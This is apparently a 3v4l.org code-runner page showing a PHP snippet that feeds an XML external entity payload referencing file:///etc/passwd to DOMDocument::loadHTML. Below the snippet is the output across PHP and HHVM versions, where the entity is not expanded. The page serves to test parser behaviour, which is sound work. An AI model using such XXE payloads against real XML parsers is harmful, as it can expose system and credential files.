3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $xml = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <html><p>&xxe;</p></html>'; $doc = new DOMDocument; $doc->loadHTML($xml, LIBXML_NOENT); echo $doc->saveXML();
based on DudV5
Output for 5.4.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: DOMDocument::loadHTML(): DOCTYPE improperly terminated in Entity, line: 4 in /in/7eTTZ on line 12 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 5 in /in/7eTTZ on line 12 Warning: DOMDocument::loadHTML(): htmlParseStartTag: misplaced <html> tag in Entity, line: 7 in /in/7eTTZ on line 12 <?xml version="1.0" standalone="yes"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><body><p> ]&gt; </p><p>&amp;xxe;</p></body></html>
Output for hhvm-3.10.0 - 3.12.0
Warning: DOCTYPE improperly terminated in Entity, line: 4 Warning: htmlParseStartTag: invalid element name in Entity, line: 5 Warning: htmlParseStartTag: misplaced <html> tag in Entity, line: 7 <?xml version="1.0" standalone="yes"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><body><p> ]&gt; </p><p>&amp;xxe;</p></body></html>
Output for 5.1.0 - 5.3.29
Warning: DOMDocument::loadHTML() expects exactly 1 parameter, 2 given in /in/7eTTZ on line 12 <?xml version="1.0"?>
Output for 5.0.0 - 5.0.5
Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/7eTTZ on line 12 Warning: DOMDocument::loadHTML() expects exactly 1 parameter, 2 given in /in/7eTTZ on line 12 <?xml version="1.0"?>
Output for 4.3.2 - 4.4.9
Fatal error: Cannot instantiate non-existent class: domdocument in /in/7eTTZ on line 11
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Cannot instantiate non-existent class: domdocument in /in/7eTTZ on line 11